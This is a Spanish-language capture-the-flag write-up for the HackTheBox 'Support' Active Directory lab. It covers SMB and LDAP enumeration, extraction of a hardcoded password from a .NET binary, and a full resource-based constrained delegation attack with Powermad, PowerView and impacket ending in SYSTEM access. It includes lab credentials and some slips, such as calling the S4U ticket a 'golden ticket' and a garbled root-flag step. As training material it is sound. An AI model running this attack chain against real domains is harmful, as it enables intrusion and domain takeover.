HTB support AD

¡Hola! En esta ocasión vamos a resolver de la máquina support AD de HackTheBox. La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre support y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

mkhack support
cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

osping 10.10.11.174
[*] Detectando sistema operativo ...

[+] 10.10.11.174 ttl=127 >> Windows

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.174 -oG ports | grep open
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49668/tcp open  unknown
49674/tcp open  unknown
49684/tcp open  unknown
49700/tcp open  unknown

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49684,49700 -sCV -Pn 10.10.11.174 -oN versions
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-02-18 02:11:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49684/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC

AD DOMAIN DETECTION

Iniciamos con la detección del dominio donde inicialmente, por medio de la utilidad crackmapexec enumeramos información necesaria para tener un mejor alcance a la máquina víctima.

crackmapexec smb 10.10.11.174
SMB         10.10.11.174    445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)

Agregamos en el archivo /etc/hosts

sudo su
nvim /etc/hosts
10.10.11.174  DC DC.support.htb support.htb

SMB NULL SESSION ENUM

Eumeramos información por smb null session

CRACKMAPEXEC

crackmapexec smb 10.10.11.174 --shares
SMB         10.10.11.174    445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.174    445    DC               [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)

SMBCLIENT -N

smbclient -L 10.10.11.174 -N
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	support-tools   Disk      support staff tools
	SYSVOL          Disk      Logon server share 

SMBMAP -U ‘’

smbmap -H 10.10.11.174 -u ''
[+] IP: 10.10.11.174:445	Name: DC                                                

SMBMAP -U ‘NULL’

smbmap -H 10.10.11.174 -u 'null'

[+] Guest session   	IP: 10.10.11.174:445	Name: DC                                                
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	support-tools                                     	READ ONLY	support staff tools
	SYSVOL                                            	NO ACCESS	Logon server share 

ARCHIVO USERINFO.EXE.ZIP

En los recursos compartidos tenemos la oportunidad de ver un archivo interesante, por lo que procedemos a traerlo a nuestra máquina

ACCESO A SMB

smbclient //10.10.11.174/support-tools -N
smb: \> ls
  .                                   D        0  Wed Jul 20 12:01:06 2022
  ..                                  D        0  Sat May 28 06:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 06:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 06:19:55 2022
  putty.exe                           A  1273576  Sat May 28 06:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 06:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 12:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 06:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 06:19:43 2022

OBTENER ARCHIVO

smb: \> get UserInfo.exe.zip 
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (123,3 KiloBytes/sec) (average 123,3 KiloBytes/sec)

SALIR DE SMB

smb: \> exit

USERINFO.EXE.ZIP ENUM

Tenemos el archivo, ahora procedemos con 7z a descomprimirlo y tratar de obtener algo de información con la utilidad strings

LISTAR CONTENIDO DEL ARCHIVO

7z l UserInfo.exe.zip
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-05-27 12:51:05 .....        12288         5424  UserInfo.exe
2022-03-01 13:18:50 .....        99840        41727  CommandLineParser.dll
2021-10-22 18:42:08 .....        22144        12234  Microsoft.Bcl.AsyncInterfaces.dll
2021-10-22 18:48:04 .....        47216        21201  Microsoft.Extensions.DependencyInjection.Abstractions.dll
2021-10-22 18:48:22 .....        84608        39154  Microsoft.Extensions.DependencyInjection.dll
2021-10-22 18:51:24 .....        64112        29081  Microsoft.Extensions.Logging.Abstractions.dll
2020-02-19 05:05:18 .....        20856        11403  System.Buffers.dll
2020-02-19 05:05:18 .....       141184        58623  System.Memory.dll
2018-05-15 08:29:44 .....       115856        32709  System.Numerics.Vectors.dll
2021-10-22 18:40:18 .....        18024         9541  System.Runtime.CompilerServices.Unsafe.dll
2020-02-19 05:05:18 .....        25984        13437  System.Threading.Tasks.Extensions.dll
2022-05-27 11:59:39 .....          563          327  UserInfo.exe.config
------------------- ----- ------------ ------------  ------------------------

DESCOMPRIMIR ARCHIVO

7z x UserInfo.exe.zip

STRINGS ENUM

strings -e l UserInfo.exe
@%1;
	5W5
0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E
armando
LDAP://support.htb
support\ldap

Por lo que vemos, aparentemente tenemos un usuario potencial ldap y armando, lo tenemos en cuenta para más adelante

RPCCLIENT NULL SESSION ENUM

Eumeramos información por rpcclient null session, sin exito

rpcclient -U '' 10.10.11.174 -N
result was NT_STATUS_ACCESS_DENIED

USERS DICTIONARY

Vamos a crear una lista de usuarios con la información que tenemos por el momento

nvim users.txt
ldap
armando

TGT KERBRUTE ENUM

Procedemos a validar nuestra lista de usuarios para identificar un nuevo usuario

kerbrute userenum -d support.htb --dc 10.10.11.174 users.txt
2023/02/17 21:37:54 >  [+] VALID USERNAME:	ldap@support.htb

Para esta ocasión vamos a usar un listado generico de usuarios xato-net-10-million-usernames.tx propio de Seclists para ver si podemos encontrar usuarios adicionales

kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
2023/02/17 21:43:24 >  [+] VALID USERNAME:	support@support.htb
2023/02/17 21:43:28 >  [+] VALID USERNAME:	guest@support.htb
2023/02/17 21:43:58 >  [+] VALID USERNAME:	administrator@support.htb

TGT GETNPUSERS ENUM

Obtenemos 4 usuarios validos con el ejercicio anterior! Ahora vamos a realizar la misma validación con la herramienta GetNPUsers

impacket-GetNPUsers support.htb/ -no-pass -usersfile users.txt
[-] User ldap doesn't have UF_DONT_REQUIRE_PREAUTH set

Ahora validamos los usuarios del diccionario de Seclists

impacket-GetNPUsers support.htb/ -no-pass -usersfile /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | grep -v "not found"
[-] User support doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set

UPDATING USERS DICTIONARY

Actualizamos el diccionario de usuarios que creamos anteriormente

nvim users.txt
ldap@support.htb
guest@support.htb
support-tools@support.htb
administrator@support.htb

WINDOWS MACHINE USERINFO.EXE ENUM

Tenemos que entender que hace este programa a ver si podemos tener alguna información importante para continuar

MAQUINA ATACANTE

sudo python3 -m http.server 80

MÁQUINA WINDOWS

  • Agregar DOMAIN al archivo HOSTS de WINDOWS
  • Prender OPENVPN
  • Descargar en navegador USERINFO.EXE.ZIP, descomprimir y comprender su funcionamiento
    http://<IP_ATACANTE>/UserInfo.exe.zip
    

  • Descargar en navegador y descomprimir DNSPY
    https://github.com/dnSpy/dnSpy/releases/download/v6.1.8/dnSpy-netframework.zip
    
  • Ejecutar DNSPY y cargar USERINFO.EXE
    UserInfo - UserInfo.exe - UserInfo.Services - LdapQuery
    
  • Asignar un BREAK POINT en linea 13
    Tecla f9
    
  • Depurar el programa
    Tecla f5
    Argumentos: find -first * -last *
    Aceptar
    

  • Dar un paso adicional en el DEBUG
    Tecla f10
    
  • Se detecta la variable PASSWORD y una contraseña

  • Apagar OPENVPN
  • Volvemos a nuestra máquina atacante

VALIDATING LDAP CREDENTIALS

Antes que cualquier cosa, debemos volver a activar nuestra vpn en la máquina atacante con OpenVPN, luego de esto procedemos a validar las credenciales obtenidas anteriormente

VALIDAR CREDS SMB

crackmapexec smb 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB         10.10.11.174    445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.174    445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz 

VALIDAR CREDS WINRM

crackmapexec winrm 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB         10.10.11.174    5985   DC               [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP        10.10.11.174    5985   DC               [*] http://10.10.11.174:5985/wsman
WINRM       10.10.11.174    5985   DC               [-] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Las credenciales son validas para smb pero no es una cuenta con privilegios

RCPCLIENT ENUM (WITH CREDS)

Ahora tenemos lo necesario para extraer usuarios del controlador de dominio por medio de las credenciales validas encontradas anteriormente, adicionalmente vamos a enumerar un poco mas de información

OBTENER LISTADO DE USUARIOS

rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c enumdomusers | grep -oP '\[.*?\]' | grep -v 0x | tr -d '[]' > users.txt

GRUPOS ADMINISTRADORES

rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]

USUARIOS ADMINISTRADORES

rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'querygroupmem 0x200'
	rid:[0x1f4] attr:[0x7]

DESCRIPCIÓN USUARIO ADMINISTRATOR

rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'queryuser 0x1f4'
User Name   :	Administrator

LDAPSEARCH AD ENUM (WITH CREDS)

Continuamos enumerando el directorio activo, en este caso con la utilidad ldapsearch, encontrando una credencial en el campo info perteneciente al usuario support

ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i 'samaccountname: support' -B 40
info: Ironside47pleasure40Watchful

VALIDATING SUPPORT CREDS

Vamos a validar las credenciales del usuario support

VALIDAR CREDS SMB

crackmapexec smb 10.10.11.174 -u users.txt -p 'Ironside47pleasure40Watchful' --continue-on-success
SMB         10.10.11.174    445    DC               [+] support.htb\support:Ironside47pleasure40Watchful

VALIDAR CREDS WINRM

crackmapexec winrm 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
SMB         10.10.11.174    5985   DC               [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP        10.10.11.174    5985   DC               [*] http://10.10.11.174:5985/wsman
WINRM       10.10.11.174    5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)

Tenemos credenciales con privilegios para conectarnos de manera remota

GRANTED ACCESS SUPPORT USER

Accedemos a la máquina víctima con evil-winrm

evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
whoami
support\support

AD ENUM LOCAL

Nos encontramos dentro de la máquina víctima, sin embargo, necesitamos escalar privilegios, por lo tanto, debemos enumerar la máquina para obtener más información que nos pueda ayudar.

USUARIOS DE LA MÁQUINA

net user
-------------------------------------------------------------------------------
Administrator            anderson.damian          bardot.mary
cromwell.gerard          daughtler.mabel          ford.victoria
Guest                    hernandez.stanley        krbtgt
langley.lucy             ldap                     levine.leopoldo
monroe.david             raven.clifton            smith.rosario
stoll.rachelle           support                  thomas.raphael
west.laura               wilson.shelby

GRUPOS Y PRIVILEGIOS DEL USUARIO ACTUAL

whoami /priv
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

INFORMACIÓN GENERAL DE UN GRUPO LOCAL

net localgroup "Remote Management Users"
support

BLOODHOUND ENUM

Ahora vamos a descargar y transmitir el binario SharpHound.ps1 a la máquina víctima para extraer la información del AD y posteriormente visualizarla en bloodhound.

MÁQUINA ATACANTE

wget https://github.com/BloodHoundAD/SharpHound/releases/download/v1.1.0/SharpHound-v1.1.0.zip
mkdir SharpHound
cd SharpHound
mv ~/Descargas/SharpHound-v1.1.0.zip .
unzip SharpHound-v1.1.0.zip

MÁQUINA VÍCTIMA

cd C:\Windows\Temp
mkdir privs
cd privs
upload /opt/BloodHound-linux-x64/SharpHound.exe
.\SharpHound.exe -c All
download C:\Windows\Temp\privs\20220718205025_BloodHound.zip bloodhound.zip

BLOODHOUND INTERACTION

Ya tenemos la información descargada en nuestro equipo, ahora procedemos a revisar la data con bloodhound

neo4j console &>/dev/null & disown
bloodhound &>/dev/null & disown
# INGRESAR CREDENCIALES DE ACCESO

SEGUIR SECUENCIA EN BLOODHOUND

Upload Data > bloodhound.zip > Analysis > Find all domain admins > Find Principals with DCSync Rights > Domaim

ENUMERAR GRUPOS

Buscar Shared support accounts> node info > Reachable High Value Targets

MARCAR USUARIOS PWNED

Buscar user > mark user as owned

ESCALAMIENTO

Node info > Reachable High Value Targets

RESORCE BASED CONSTRAINED DELEGATION (RBCD) ATTACK

Vamos a realizar un RBCD ATTACK, esto es posible porque el grupo SHARED SUPPORT ACCOUNTS tiene permisos Generic all sobre el AD, dando la libertad de ejecutar en este caso la posibilidad de crear una nueva cuenta de máquina, que puedes hacer uso del mismo para obtener un ticket impersonando el usuario obteniendo accesos privilegiados con ayuda de powermad y powerview

MÁQUINA ATACANTE

DESCARGAR POWERMAD.PS1 Y POWERVIEW.PS1
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

MÁQUINA VÍCTIMA

TRANSFERIR POWERMAD
upload /home/bast1ant1c/Desktop/bast1ant1c/HTB/AD/easy/support/recon/Powermad.ps1
IMPORTAR MODULO
Import-Module .\Powermad.ps1
CREAR CUENTA DE MÁQUINA
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString 'password123' -AsPlainText -Force) -Verbose
TRANSFERIR POWERVIEW
upload /home/bast1ant1c/Desktop/bast1ant1c/HTB/AD/easy/support/recon/PowerView.ps1
IMPORTAR MODULO
Import-Module .\PowerView.ps1
CREAR CONDICIONES DE LA CUENTA DE MÁQUINA PARA EXPLOTACIÓN
Get-DomainComputer SERVICEA
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

GRANTED ACCESS ADMINISTRATOR USER (GOLDEN TICKET)

Vamos a hacer uso de la utilidad getST con la que obtendremos un golden ticket del usuario Administrator aprovechando la creación de la cuenta de máquina realizada en pasos anteriores, obteniendo acceso con psexec

impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:password123
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
whoami
nt authority\system

FLAGS

Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.

cd C:/
dir /b/s user.txt
c:\Users\support\Desktop\user.txt
set /P user=<"c:\Users\support\Desktop\user.txt"
echo.%user:~0,10%
ce03e32c55
cd C:/
dir /b/s root.txt
c:\Users\Administrator\Desktop\user.txt
set /P user=<"c:\Users\Administrator\Desktop\user.txt"
echo.%root:~0,10%
4e4ed829c0

¡Hemos logrado completar la máquina support de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.